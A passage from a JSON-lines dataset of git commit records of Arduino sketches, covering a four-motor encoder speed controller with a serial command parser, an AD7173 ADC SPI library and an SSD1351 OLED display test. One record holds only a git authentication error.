slopeCounter1++;\n else\n slopeCounter1--;\n slopeRise1 = 1;\n slopeFall1 = 0;\n }\n \/\/----------------------------------------------------------\n if (digitalRead(m2e1) && slopeRise2)\n {\n if(digitalRead(m2e2))\n slopeCounter2--;\n else\n slopeCounter2++;\n slopeRise2 = 0;\n slopeFall2 = 1;\n }\n \n if (!digitalRead(m2e1) && slopeFall2)\n {\n if(digitalRead(m2e2))\n slopeCounter2++;\n else\n slopeCounter2--;\n slopeRise2 = 1;\n slopeFall2 = 0;\n }\n \/\/----------------------------------------------------------\n if (digitalRead(m3e1) && slopeRise3)\n {\n if(digitalRead(m3e2))\n slopeCounter3--;\n else\n slopeCounter3++;\n slopeRise3 = 0;\n slopeFall3 = 1;\n }\n \n if (!digitalRead(m3e1) && slopeFall3)\n {\n if(digitalRead(m3e2))\n slopeCounter3++;\n else\n slopeCounter3--;\n slopeRise3 = 1;\n slopeFall3 = 0;\n }\n \/\/----------------------------------------------------------\n if (digitalRead(m4e1) && slopeRise4)\n {\n if(digitalRead(m4e2))\n slopeCounter4--;\n else\n slopeCounter4++;\n slopeRise4 = 0;\n slopeFall4 = 1;\n }\n \n if (!digitalRead(m4e1) && slopeFall4)\n {\n if(digitalRead(m4e2))\n slopeCounter4++;\n else\n slopeCounter4--;\n slopeRise4 = 1;\n slopeFall4 = 0;\n }\n }\n \n czas = micros() - startingTime;\n \/\/ Serial.print(\"#Enkoders, \");\n \/\/ Serial.print(slopeCounter1);\n \/\/ Serial.print(\", \");\n \/\/ Serial.print(slopeCounter2);\n \/\/ Serial.print(\", \");\n \/\/ Serial.print(slopeCounter3);\n \/\/ Serial.print(\", \");\n \/\/ Serial.print(slopeCounter4);\n \/\/ Serial.print(\", \");\n \/\/ Serial.println(); \/\/ oddzielenie pust\u0105 lini\u0105 dla zwi\u0119kszenia czytelno\u015bci\n v1 = slopeCounter1*((60000000)\/(RPR*PPR*(long)czas));\n v2 = slopeCounter2*((60000000)\/(RPR*PPR*(long)czas));\n v3 = slopeCounter3*((60000000)\/(RPR*PPR*(long)czas));\n v4 = slopeCounter4*((60000000)\/(RPR*PPR*(long)czas));\n\n e1 = u[0]-v1;\n e2 = u[1]-v2;\n e3 = u[2]-v3;\n e4 = u[3]-v4;\n \n PowerOnMotor1 += Kp*e1;\n PowerOnMotor2 += Kp*e2;\n PowerOnMotor3 += Kp*e3;\n PowerOnMotor4 += Kp*e4;\n \n if(PowerOnMotor1 > 40000)\n PowerOnMotor1 = 40000;\n else if(PowerOnMotor1< -40000)\n PowerOnMotor1 = -40000;\n\n if(PowerOnMotor2 > 40000)\n PowerOnMotor2 = 40000;\n else if(PowerOnMotor2 < -40000)\n PowerOnMotor2 = -40000;\n\n if(PowerOnMotor3 > 40000)\n PowerOnMotor3 = 40000;\n else if(PowerOnMotor3 < -40000)\n PowerOnMotor3 = -40000;\n\n if(PowerOnMotor4 > 40000)\n PowerOnMotor4 = 40000;\n else if(PowerOnMotor4 < -40000)\n PowerOnMotor4 = -40000;\n\n\/\/ if (u1 == 0)\n\/\/ SetSpeed(motor1, 0);\n\/\/ else\n\/\/ SetSpeed(motor1, PowerOnMotor1\/100);\n\/\/ \n\/\/ if (u2 == 0)\n\/\/ SetSpeed(motor2, 0);\n\/\/ else\n\/\/ SetSpeed(motor2, PowerOnMotor2\/100);\n\/\/ \n\/\/ if (u3 == 0)\n\/\/ SetSpeed(motor3, 0);\n\/\/ else\n\/\/ SetSpeed(motor3, PowerOnMotor3\/100);\n\/\/ \n\/\/ if (u4 == 0)\n\/\/ SetSpeed(motor4, 0);\n\/\/ else\n\/\/ SetSpeed(motor4, PowerOnMotor4\/100);\n\n SetSpeed(motor1, u[0]);\n SetSpeed(motor2, u[1]);\n SetSpeed(motor3, u[2]);\n SetSpeed(motor4, u[3]);\n SetSpeed(motor5, u[4]);\n SetSpeed(motor6, u[5]);\n\n delay(2000);\n u[0]=0;\n u[1]=0;\n u[2]=0;\n u[3]=0;\n \n\n }\n else\n {\n PowerOnMotor1 = 0;\n PowerOnMotor2 = 0;\n PowerOnMotor3 = 0;\n PowerOnMotor4 = 0;\n \n SetSpeed(motor1, PWMSpeed[0]);\n SetSpeed(motor2, PWMSpeed[1]);\n SetSpeed(motor3, PWMSpeed[2]);\n SetSpeed(motor4, PWMSpeed[3]);\n SetSpeed(motor5, PWMSpeed[4]);\n SetSpeed(motor6, PWMSpeed[5]);\n \n }\n \n if(ConstantPrint == PRINT_SPEED)\n {\n Serial.println(v1);\n Serial.println(v2);\n Serial.println(v3);\n Serial.println(v4);\n }\n}\n\n\nvoid serialEvent() {\n while (Serial.available()) \n {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n')\n newMessageReceived = true;\n }\n}\n\nvoid handleNewMessage()\n{\n int spaceBar = inputString.indexOf(' ');\n if (spaceBar != -1)\n {\n String buffer = \"\";\n buffer.reserve(10);\n String buffer2 = \"\";\n buffer2.reserve(10);\n String bufferMotor = \"\";\n bufferMotor.reserve(10);\n for (int i=0; i<spaceBar; i++)\n buffer += inputString.charAt(i);\n\n\/\/ spaceBar = inputString.indexOf(' ');\n for (int i=spaceBar+1; i<(inputString.length()-1); i++)\n buffer2 += inputString.charAt(i);\n \n if (buffer == \"Set\" || buffer == \"SetSpeed\")\n {\n spaceBar = buffer2.indexOf(' ');\n for (int i=spaceBar+1; i<(buffer2.length()); i++)\n bufferMotor += buffer2.charAt(i);\n \n \/\/Serial.println(\"Set command detected!\");\n if(bufferMotor==\"motor1\"){\n u[0]= buffer2.toInt();\n if (u[0]>mios)\n u[0] = mios;\n else if (u[0]<-mios)\n u[0]= -mios;\n \n e1 = u[0]-v1;\n }\n else if(bufferMotor==\"motor2\"){\n u[1]= buffer2.toInt();\n if (u[1]>mios)\n u[1]= mios;\n else if (u[1]<-mios)\n u[1]= -mios;\n \n e2 = u[1]-v2;\n }\n else if(bufferMotor==\"motor3\"){\n u[2]= buffer2.toInt();\n if (u[2]>mios)\n u[2]= mios;\n else if (u[2]<-mios)\n u[2] = -mios;\n \n e3 = u[2]-v3;\n }\n else if(bufferMotor==\"motor4\"){\n u[3]= buffer2.toInt();\n if (u[3]>mios)\n u[3]= mios;\n else if (u[3]<-mios)\n u[3]= -mios;\n \n e4 = u[3]-v4;\n }\n else if(bufferMotor==\"motor5\"){\n u[4]= buffer2.toInt();\n if (u[4]>mios)\n u[4]= mios;\n else if (u[3]<-mios)\n u[4]= -mios;\n }\n else if(bufferMotor==\"motor5\"){\n u[5]= buffer2.toInt();\n if (u[5]>mios)\n u[5]= mios;\n else if (u[5]<-mios)\n u[5]= -mios;\n }\n else if(bufferMotor=\"all\")\n {\n int uForAll = buffer2.toInt();\n if (uForAll > mios)\n uForAll = mios;\n else if (uForAll < -mios)\n uForAll = -mios;\n\n for(uint8_t i = 0; i<6; i++)\n u[i] = uForAll;\n \n }\n \n \n SmartDrive = 1;\n }\n else if (buffer == \"SetKp\")\n {\n Kp = buffer2.toInt();\n }\n\/\/ else if (buffer == \"SetPWM\")\n\/\/ {\n\/\/ if(bufferMotor==\"motor1\")\n\/\/ PWMSpeed1 = 4*buffer2.toInt();\n\/\/ else if(bufferMotor==\"motor2\")\n\/\/ PWMSpeed2 = 4*buffer2.toInt();\n\/\/ else if(bufferMotor==\"motor3\")\n\/\/ PWMSpeed3 = 4*buffer2.toInt();\n\/\/ else if(bufferMotor==\"motor4\")\n\/\/ PWMSpeed4 = 4*buffer2.toInt();\n\/\/ SmartDrive = 0;\n\/\/ }\n else if (buffer == \"Print\")\n {\n if(buffer2 == \"Speed\")\n {\n Serial.println(v1);\n Serial.println(v2);\n Serial.println(v3);\n Serial.println(v4);\n Serial.println();\n }\n \n \n else if(buffer2 == \"Error\")\n {\n Serial.println(e1);\n Serial.println(e2);\n Serial.println(e3);\n Serial.println(e4);\n Serial.println();\n }\n \n \n else if(buffer2 == \"Power\")\n {\n Serial.println(PowerOnMotor1\/400);\n Serial.println(PowerOnMotor2\/400);\n Serial.println(PowerOnMotor3\/400);\n Serial.println(PowerOnMotor4\/400);\n Serial.println();\n }\n \n else if(buffer2 == \"ConstSpeed\")\n ConstantPrint = PRINT_SPEED;\n else if(buffer2 == \"ConstDisable\")\n ConstantPrint = NO_PRINT;\n }\n else if(buffer == \"Kill\")\n {\n SetSpeed(motor1, 0);\n SetSpeed(motor2, 0);\n SetSpeed(motor3, 0);\n SetSpeed(motor4, 0);\n SmartDrive = 0;\n }\n }\n else\n Serial.println(\"Message ERROR\\n\\rInvalid command!\\n\\r\");\n \n newMessageReceived = false;\n inputString = \"\";\n}\n\n","returncode":0,"stderr":"","license":"apache-2.0","lang":"Arduino"} {"commit":"27fd134ebd1e1a608737e7116ddfa3409e8f12f1","subject":"actual latest file from 20january","message":"actual latest file from 20january\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ae12c7948e76652ad7380ca6c58845ad33d59e33","subject":"Initial commit","message":"Initial commit\n","repos":"Atom058\/ArduinoLithiumCharger,Atom058\/ArduinoLithiumCharger","old_file":"Li_Charger.ino","new_file":"Li_Charger.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Li_Charger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0209b0d85957c7b4bcefc1dd37d039ca79dfbf3","subject":"AD7173.ino refactor + added setup coding output","message":"AD7173.ino refactor + added setup coding output\n","repos":"brain-duino\/AD7173,brain-duino\/AD7173,openbrainhacking\/AD7173,openbrainhacking\/AD7173","old_file":"AD7173.ino","new_file":"AD7173.ino","new_contents":"\/*\n===================================================================================\nlibrary to control AD7173-8 ADC chips\n\n G A A A A A A\n R R P I I I I I I A\n E E I N N N N N N I\n F F O 1 1 1 1 1 1 N\n + - 3 5 4 3 2 1 0 9\n | | | | | | | | | |\n _________________________________________________________\n \/ 40. 39. 38. 37. 36. 35. 34. 33. 32. 31. |\n | |\n AIN16 --| 1. 30. |-- AIN8\nAIN0\/REF2- --| 2. 29. |-- AIN7\nAIN1\/REF2+ --| 3. 28. |-- AIN6\n AIN2 --| 4. 27. |-- AIN5\n AIN3 --| 5. 26. |-- AIN4\n REFOUT --| 6. 25. |-- GPIO2\n REGCAPA --| 7. 24. |-- GPIO1\n AVSS --| 8. 23. |-- GPIO0\n AVDD1 --| 9. 22. |-- REGCAPD\n AVDD2 --| 10. 21. |-- DGND\n | |\n | 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. |\n |__________________________________________________________|\n | | | | | | | | | |\n P X X D D S C E S I\n D T T O I C S R Y O\n S A A U N L R N V\n W L L T K O C D\n 1 2 R D\n \/\n C\n L\n K\n I\n O\n===================================================================================\n*\/\n#include <SPI.h>\n\n\/* ADC registers *\/\n#define ID_REG 0x07\n#define CH0_REG 0x10\n#define CH1_REG 0x11\n#define CH2_REG 0x12\n#define CH3_REG 0x13\n#define CH4_REG 0x14\n#define CH5_REG 0x15\n#define CH6_REG 0x16\n#define CH7_REG 0x17\n#define CH8_REG 0x18\n#define CH9_REG 0x19\n#define CH10_REG 0x1A\n#define CH11_REG 0x1B\n#define CH12_REG 0x1C\n#define CH13_REG 0x1D\n#define CH14_REG 0x1E\n#define CH15_REG 0x1F\n#define DATA_REG 0x04\n#define COMMS_REG 0x00\n#define GAIN0_REG 0x38\n#define GAIN1_REG 0x39\n#define GAIN2_REG 0x3A\n#define GAIN3_REG 0x3B\n#define GAIN4_REG 0x3C\n#define GAIN5_REG 0x3D\n#define GAIN6_REG 0x3E\n#define GAIN7_REG 0x3F\n#define IFMODE_REG 0x02\n#define ADCMODE_REG 0x01\n#define OFFSET0_REG 0x30\n#define OFFSET1_REG 0x31\n#define OFFSET2_REG 0x32\n#define OFFSET3_REG 0x33\n#define OFFSET4_REG 0x34\n#define OFFSET5_REG 0x35\n#define OFFSET6_REG 0x36\n#define OFFSET7_REG 0x37\n#define GPIOCON_REG 0x06\n#define REGCHECK_REG 0x03\n#define FILTCON0_REG 0x28\n#define FILTCON1_REG 0x29\n#define FILTCON2_REG 0x2A\n#define FILTCON3_REG 0x2B\n#define FILTCON4_REG 0x2C\n#define FILTCON5_REG 0x2D\n#define FILTCON6_REG 0x2E\n#define FILTCON7_REG 0x2F\n#define SETUPCON0_REG 0x20\n#define SETUPCON1_REG 0x21\n#define SETUPCON2_REG 0x22\n#define SETUPCON3_REG 0x23\n#define SETUPCON4_REG 0x24\n#define SETUPCON5_REG 0x25\n#define SETUPCON6_REG 0x26\n#define SETUPCON7_REG 0x27\n\n\/* ADC analog inputs *\/\n#define AIN0 0x00\n#define AIN1 0x01\n#define AIN2 0x02\n#define AIN3 0x03\n#define AIN4 0x04\n#define AIN5 0x05\n#define AIN6 0x06\n#define AIN7 0x07\n#define AIN8 0x08\n#define AIN9 0x09\n#define AIN10 0x0A\n#define AIN11 0x0B\n#define AIN12 0x0C\n#define AIN13 0x0D\n#define AIN14 0x0E\n#define AIN15 0x0F\n#define AIN16 0x10\n\n\/* other ADC channel inputs *\/\n#define REF_POS 0x15\n#define REF_NEG 0x16\n#define TEMP_SENSOR_POS 0x11\n#define TEMP_SENSOR_NEG 0x12\n\n\/* ADC filter speed (samples per second) *\/\n#define SPS_1 0x16\n#define SPS_2 0x15\n#define SPS_5 0x14\n#define SPS_10 0x13\n#define SPS_16 0x12\n#define SPS_20 0x11\n#define SPS_50 0x10\n#define SPS_60 0x0F\n#define SPS_100 0x0E\n#define SPS_200 0x0D\n#define SPS_381 0x0C\n#define SPS_504 0x0B\n#define SPS_1007 0x0A\n#define SPS_2597 0x09\n#define SPS_5208 0x08\n#define SPS_10417 0x07\n#define SPS_15625 0x06\n#define SPS_31250 0x00\n\n\/* ADC setup coding (unipolar, bipolar) *\/\n#define BIPOLAR_CODED_OUTPUT 1\n#define UNIPOLAR_CODED_OUTPUT 0\n\n\/* ADC data modes *\/\n#define CONTINUOUS_READ_MODE 0\n#define SINGLE_CONVERSION_MODE 1\n#define CONTINUOUS_CONVERSION_MODE 2\n\n\/* ADC data ready indicator *\/\n#define DATA_READY digitalRead(MISO) == LOW\n\n\/* enable\/disable debug *\/\n#define DEBUG_ENABLED 1\n\n\/* default ADC data conversion mode *\/\nint adc_data_mode = CONTINUOUS_CONVERSION_MODE;\n\n\/* default ADC setup coding mode *\/\nint adc_setup_coding_output = BIPOLAR_CODED_OUTPUT;\n\n\/*\n===========================\nprint bytes in nice format\n@param byte - byte to print\n===========================\n*\/\nvoid print_byte(byte value) {\n char format[10];\n sprintf(format, \"0x%.2X \", value);\n Serial.print(format);\n}\n\n\/*\n===================================\nresets the ADC to the default state\n===================================\n*\/\nvoid reset_adc() {\n for (int i = 0; i < 16; i++) {\n SPI.transfer(0xFF);\n }\n}\n\n\/*\n==================================================\ncancels the current transaction to resync the ADC\n==================================================\n*\/\nvoid resync_adc() {\n \/* toggle the chip select *\/\n digitalWrite(SS, HIGH);\n delay(1);\n digitalWrite(SS, LOW);\n}\n\n\/*\n=========================================\nconfigures the ADC chip\n@param byte - the register where to write\n@param byte[] - the bytes to write\n@param int - the length of bytes to write\n=========================================\n*\/\nint write_adc_register(byte reg, byte *value, int write_len) {\n \/* when specified register is invalid *\/\n if (reg < 0x00 || reg > 0x3F) {\n if (DEBUG_ENABLED) {\n print_byte(reg);\n Serial.println(\"write register out of range\");\n }\n return 1;\n }\n \/* send communication register id 0x00 *\/\n SPI.transfer(0x00);\n \/* send write command to the specified register 0x00 - 0xFF *\/\n SPI.transfer(0x00 | reg);\n \/* write the specified amount of bytes *\/\n for (int i = 0; i < write_len; i++) {\n SPI.transfer(value[i]);\n }\n \/* when debug enabled *\/\n if (DEBUG_ENABLED) {\n Serial.print(\"write: \");\n for (int i = 0; i < write_len; i++) {\n print_byte(value[i]);\n }\n Serial.print(\"to reg: \");\n print_byte(reg);\n Serial.println();\n }\n \/* return error code *\/\n return 0;\n}\n\n\/*\n=============================================\nreads the ADC channels\n@param byte - the register to read\n@param int - the length of bytes to read\n@return byte[] - the ADC register read result\n=============================================\n*\/\nint read_adc_register(byte reg, byte *value, int read_len) {\n \/* when specified register is invalid *\/\n if (reg < 0x00 || reg > 0x3F) {\n if (DEBUG_ENABLED) {\n print_byte(reg);\n Serial.println(\"read register out of range\");\n }\n return 1;\n }\n \/* send communication register id 0x00 *\/\n SPI.transfer(0x00);\n \/* send read command to the specified register 0x00 - 0xFF *\/\n SPI.transfer(0x40 | reg);\n \/* read the specified amount of bytes *\/\n for (int i = 0; i < read_len; i++) {\n value[i] = SPI.transfer(0x00);\n }\n \/* when debug enabled *\/\n if (DEBUG_ENABLED) {\n Serial.print(\"read: \");\n for (int i = 0; i < read_len; i++) {\n print_byte(value[i]);\n }\n Serial.print(\"from reg: \");\n print_byte(reg);\n Serial.println();\n }\n \/* return error code *\/\n return 0;\n}\n\n\/*\n=================================\nenables or disables ADC channels\n@param byte - channel\n@param bool - status\n@return int - error code\n=================================\n*\/\nint enable_adc_channel(byte channel, bool status, byte ain1 = NULL, byte ain2 = NULL) {\n \/* when channel out of range *\/\n if (channel < 0x10 || channel > 0x1F) {\n if (DEBUG_ENABLED) {\n print_byte(channel);\n Serial.println(\"enable channel out of range\");\n }\n return 1;\n }\n byte value[2];\n \/* read specified channel configuration *\/\n read_adc_register(channel, value, 2);\n \/* clear the enable bit *\/\n value[0] &= ~(1 << 7);\n \/* enable or disable this channel *\/\n value[0] |= (status << 7);\n \/* set the correct analog inputs *\/\n byte ain = ((channel & 0x0F) << 1);\n \/* set default AINs *\/\n value[1] = 0x00;\n\n \/* user desired values *\/\n if (ain1 != NULL) {\n value[1] |= (ain1 << 5);\n \/* when 2 AINs set *\/\n if (ain2 != NULL) {\n value[1] |= ain2;\n }\n \/* set automatic values for BIPOLAR output *\/\n } else if (adc_setup_coding_output == BIPOLAR_CODED_OUTPUT) {\n value[1] |= (ain << 5);\n value[1] |= (ain + 1);\n \/* set automatic value for UNIPOLAR output *\/\n } else {\n value[1] |= (ain << 5);\n }\n\n \/* update specified channel configuration *\/\n write_adc_register(channel, value, 2);\n \/* return error code *\/\n return 0;\n}\n\n\/*\n==================================\nsets the ADC data conversion rate\n@param int - speed of conversion\n@return int - error code\n==================================\n*\/\nint set_adc_filter_speed(byte filtcon, byte data_speed) {\n byte value[2];\n \/* read the current register value *\/\n read_adc_register(filtcon, value, 2);\n \/* set the speed to default *\/\n value[1] &= 0xE0;\n \/* set the desired speed *\/\n value[1] |= data_speed;\n \/* write the new register value *\/\n write_adc_register(filtcon, value, 2);\n \/* return error code *\/\n return 0;\n}\n\n\/*\n==================================\nsets the ADC setup coding mode\n@param byte - setup register\n@param int - coding mode\n@return int - error code\n==================================\n*\/\nint set_adc_setup_codig(byte setupcon, int coding_mode) {\n byte value[2];\n \/* read the current register value *\/\n read_adc_register(setupcon, value, 2);\n \/* set the coding mode to default *\/\n value[0] &= 0x7F;\n \/* set the desired coding *\/\n value[0] |= (coding_mode << 7);\n \/* write the new register value *\/\n write_adc_register(setupcon, value, 2);\n \/* set to new coding mode *\/\n adc_setup_coding_output = coding_mode;\n \/* return error code *\/\n return 0;\n}\n\n\/*\n==================================\nsets the ADC data converison mode\n@param int - data read mode\n@return int - error code\n==================================\n*\/\nint set_adc_data_mode(int mode) {\n byte if_mode_value[2];\n byte adc_mode_value[2];\n \/* read current register values *\/\n read_adc_register(IFMODE_REG, if_mode_value, 2);\n read_adc_register(ADCMODE_REG, adc_mode_value, 2);\n \/* set to default read mode *\/\n adc_mode_value[1] &= 0x8F;\n\n \/* when continuous read mode, the data register can be read directly when DATA_READY *\/\n if (mode == CONTINUOUS_READ_MODE) {\n \/* set the ADC to continuous read mode *\/\n if_mode_value[1] |= 0x80;\n \/* when single conversion mode, the ADC conversion has to be triggered manually *\/\n } else if (mode == SINGLE_CONVERSION_MODE) {\n \/* diable continuous read mode *\/\n if_mode_value[1] &= 0xF7;\n \/* set the ADC to single conversion mode *\/\n adc_mode_value[1] |= 0x10;\n \/* when continuous conversion mode, the communication register has to be notified for a ADC read *\/\n } else if (mode == CONTINUOUS_CONVERSION_MODE) {\n \/* diable continuous read mode *\/\n if_mode_value[1] &= 0xF7;\n \/* unknown data conversion mode *\/\n } else {\n \/* return error code *\/\n return 1;\n }\n adc_data_mode = mode;\n \/* write the desired register value *\/\n write_adc_register(ADCMODE_REG, adc_mode_value, 2);\n write_adc_register(IFMODE_REG, if_mode_value, 2);\n \/* return error code *\/\n return 0;\n}\n\n\/*\n==========================================\nreads the ADC conversion result\n@return byte[] - the ADC conversion result\n==========================================\n*\/\nint read_adc_data(byte *value) {\n \/* when not in continuous read mode, send the read command *\/\n if (adc_data_mode != CONTINUOUS_READ_MODE) {\n \/* send communication register id 0x00 *\/\n SPI.transfer(0x00);\n \/* send read command 0x40 to the data register 0x04 *\/\n SPI.transfer(0x40 | DATA_REG);\n }\n \/* read the received value (24 bits) *\/\n value[0] = SPI.transfer(0x00);\n value[1] = SPI.transfer(0x00);\n value[2] = SPI.transfer(0x00);\n \/* when debug enabled *\/\n if (DEBUG_ENABLED) {\n Serial.print(\"read: \");\n print_byte(value[0]);\n print_byte(value[1]);\n print_byte(value[2]);\n Serial.println(\"from reg: 0x04\");\n }\n \/* return error code *\/\n return 0;\n}\n\n\/*\n============================================\ninitializes the SPI connection with the ADC\n@return bool - is ADC ID valid\n============================================\n*\/\nbool init_adc() {\n \/* initiate SPI communication *\/\n SPI.begin();\n \/* use SPI mode 3 *\/\n SPI.setDataMode(SPI_MODE3);\n \/* resync the ADC *\/\n resync_adc();\n\n byte id[2];\n \/* read the ADC device ID *\/\n read_adc_register(ID_REG, id, 2);\n \/* check if the id matches 0x30DX, where X is don't care *\/\n id[1] &= 0xF0;\n bool valid_id = id[0] == 0x30 && id[1] == 0xD0;\n \n \/* when debug enabled *\/\n if (DEBUG_ENABLED) {\n if (valid_id) {\n Serial.println(\"ADC device ID is valid :)\");\n } else {\n Serial.print(\"ADC device ID is invalid :( \");\n print_byte(id[1]);\n print_byte(id[0]);\n Serial.println();\n }\n }\n \/* return if ADC id was valid *\/\n return valid_id;\n}\n\nvoid setup() {\n \/* initiate serial communication *\/\n Serial.begin(115200);\n \/* initiate ADC *\/\n init_adc();\n \/* reset ADC to default state *\/\n reset_adc();\n \/* set ADC configuration *\/\n \/* enable ch0 and ch1 *\/\n enable_adc_channel(CH0_REG, true, AIN0, AIN1);\n enable_adc_channel(CH1_REG, true, AIN2, AIN3);\n \/* set the ADC data mode *\/\n set_adc_data_mode(CONTINUOUS_READ_MODE);\n \/* set the ADC filter samplingrate to 1007 Hz*\/\n set_adc_filter_speed(FILTCON0_REG, SPS_1007);\n \/* set the ADC setup coding to BIPLOAR output*\/\n set_adc_setup_codig(SETUPCON0_REG, BIPOLAR_CODED_OUTPUT);\n \/* wait for ADC *\/\n delay(10);\n}\n\nvoid loop() {\n byte data[3];\n \/* when ADC conversion is finished *\/\n if (DATA_READY) {\n \/* read ADC conversion result *\/\n read_adc_data(data);\n \/\/Serial.write(data[0]);\n \/\/Serial.write(data[1]);\n \/\/Serial.write(data[2]);\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'AD7173.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eadfd28db7cb3068485a39263c7cff976262ac01","subject":"working test code for SPI","message":"working test code for SPI\n","repos":"osmithy\/Adafruit_SSD1351,shiitakeo\/Adafruit-SSD1351-library,shiitakeo\/Adafruit-SSD1351-library,osmithy\/Adafruit_SSD1351","old_file":"examples\/test\/test.ino","new_file":"examples\/test\/test.ino","new_contents":"\n\/\/ You can use any (4 or) 5 pins \n#define sclk 2\n#define mosi 3\n#define dc 4\n#define cs 5\n#define rst 6\n\n\/\/ Color definitions\n#define\tBLACK 0x0000\n#define\tBLUE 0x001F\n#define\tRED 0xF800\n#define\tGREEN 0x07E0\n#define CYAN 0x07FF\n#define MAGENTA 0xF81F\n#define YELLOW 0xFFE0 \n#define WHITE 0xFFFF\n\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1351.h>\n#include <SPI.h>\n\n\/\/ Option 1: use any pins but a little slower\nAdafruit_SSD1351 tft = Adafruit_SSD1351(cs, dc, mosi, sclk, rst); \n\n\/\/ Option 2: must use the hardware SPI pins \n\/\/ (for UNO thats sclk = 13 and sid = 11) and pin 10 must be \n\/\/ an output. This is much faster - also required if you want\n\/\/ to use the microSD card (see the image drawing example)\n\/\/Adafruit_SSD1331 tft = Adafruit_SSD1331(cs, dc, rst);\n\nfloat p = 3.1415926;\n\nvoid fillpixelbypixel(uint16_t color) {\n for (uint8_t x=0; x < tft.width(); x++) {\n for (uint8_t y=0; y < tft.height(); y++) {\n tft.drawPixel(x, y, color);\n }\n }\n delay(100);\n}\n\nvoid setup(void) {\n Serial.begin(9600);\n Serial.print(\"hello!\");\n tft.begin();\n\n Serial.println(\"init\");\n \n uint16_t time = millis();\n tft.fillRect(0, 0, 128, 128, BLACK);\n time = millis() - time;\n \n Serial.println(time, DEC);\n delay(500);\n \n lcdTestPattern();\n delay(500);\n \n tft.invert(true);\n delay(100);\n tft.invert(false);\n delay(00);\n\n tft.fillScreen(BLACK);\n testdrawtext(\"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur adipiscing ante sed nibh tincidunt feugiat. Maecenas enim massa, fringilla sed malesuada et, malesuada sit amet turpis. Sed porttitor neque ut ante pretium vitae malesuada nunc bibendum. Nullam aliquet ultrices massa eu hendrerit. Ut sed nisi lorem. In vestibulum purus a tortor imperdiet posuere. \", WHITE);\n delay(500);\n\n \/\/ tft print function!\n tftPrintTest();\n delay(500);\n \n \/\/a single pixel\n tft.drawPixel(tft.width()\/2, tft.height()\/2, GREEN);\n delay(500);\n\n \/\/ line draw test\n testlines(YELLOW);\n delay(500); \n \n \/\/ optimized lines\n testfastlines(RED, BLUE);\n delay(500); \n\n\n testdrawrects(GREEN);\n delay(1000);\n\n testfillrects(YELLOW, MAGENTA);\n delay(1000);\n\n tft.fillScreen(BLACK);\n testfillcircles(10, BLUE);\n testdrawcircles(10, WHITE);\n delay(1000);\n \n testroundrects();\n delay(500);\n \n testtriangles();\n delay(500);\n \n Serial.println(\"done\");\n delay(1000);\n}\n\nvoid loop() {\n}\n\nvoid testlines(uint16_t color) {\n tft.fillScreen(BLACK);\n for (uint16_t x=0; x < tft.width()-1; x+=6) {\n tft.drawLine(0, 0, x, tft.height()-1, color);\n }\n for (uint16_t y=0; y < tft.height()-1; y+=6) {\n tft.drawLine(0, 0, tft.width()-1, y, color);\n }\n \n tft.fillScreen(BLACK);\n for (uint16_t x=0; x < tft.width()-1; x+=6) {\n tft.drawLine(tft.width()-1, 0, x, tft.height()-1, color);\n }\n for (uint16_t y=0; y < tft.height()-1; y+=6) {\n tft.drawLine(tft.width()-1, 0, 0, y, color);\n }\n \n tft.fillScreen(BLACK);\n for (uint16_t x=0; x < tft.width()-1; x+=6) {\n tft.drawLine(0, tft.height()-1, x, 0, color);\n }\n for (uint16_t y=0; y < tft.height()-1; y+=6) {\n tft.drawLine(0, tft.height()-1, tft.width()-1, y, color);\n }\n\n tft.fillScreen(BLACK);\n for (uint16_t x=0; x < tft.width()-1; x+=6) {\n tft.drawLine(tft.width()-1, tft.height()-1, x, 0, color);\n }\n for (uint16_t y=0; y < tft.height()-1; y+=6) {\n tft.drawLine(tft.width()-1, tft.height()-1, 0, y, color);\n }\n \n}\n\nvoid testdrawtext(char *text, uint16_t color) {\n tft.setCursor(0,0);\n tft.setTextColor(color);\n tft.print(text);\n}\n\nvoid testfastlines(uint16_t color1, uint16_t color2) {\n tft.fillScreen(BLACK);\n for (uint16_t y=0; y < tft.height()-1; y+=5) {\n tft.drawFastHLine(0, y, tft.width()-1, color1);\n }\n for (uint16_t x=0; x < tft.width()-1; x+=5) {\n tft.drawFastVLine(x, 0, tft.height()-1, color2);\n }\n}\n\nvoid testdrawrects(uint16_t color) {\n tft.fillScreen(BLACK);\n for (uint16_t x=0; x < tft.height()-1; x+=6) {\n tft.drawRect((tft.width()-1)\/2 -x\/2, (tft.height()-1)\/2 -x\/2 , x, x, color);\n }\n}\n\nvoid testfillrects(uint16_t color1, uint16_t color2) {\n tft.fillScreen(BLACK);\n for (uint16_t x=tft.height()-1; x > 6; x-=6) {\n tft.fillRect((tft.width()-1)\/2 -x\/2, (tft.height()-1)\/2 -x\/2 , x, x, color1);\n tft.drawRect((tft.width()-1)\/2 -x\/2, (tft.height()-1)\/2 -x\/2 , x, x, color2);\n }\n}\n\nvoid testfillcircles(uint8_t radius, uint16_t color) {\n for (uint8_t x=radius; x < tft.width()-1; x+=radius*2) {\n for (uint8_t y=radius; y < tft.height()-1; y+=radius*2) {\n tft.fillCircle(x, y, radius, color);\n }\n } \n}\n\nvoid testdrawcircles(uint8_t radius, uint16_t color) {\n for (uint8_t x=0; x < tft.width()-1+radius; x+=radius*2) {\n for (uint8_t y=0; y < tft.height()-1+radius; y+=radius*2) {\n tft.drawCircle(x, y, radius, color);\n }\n } 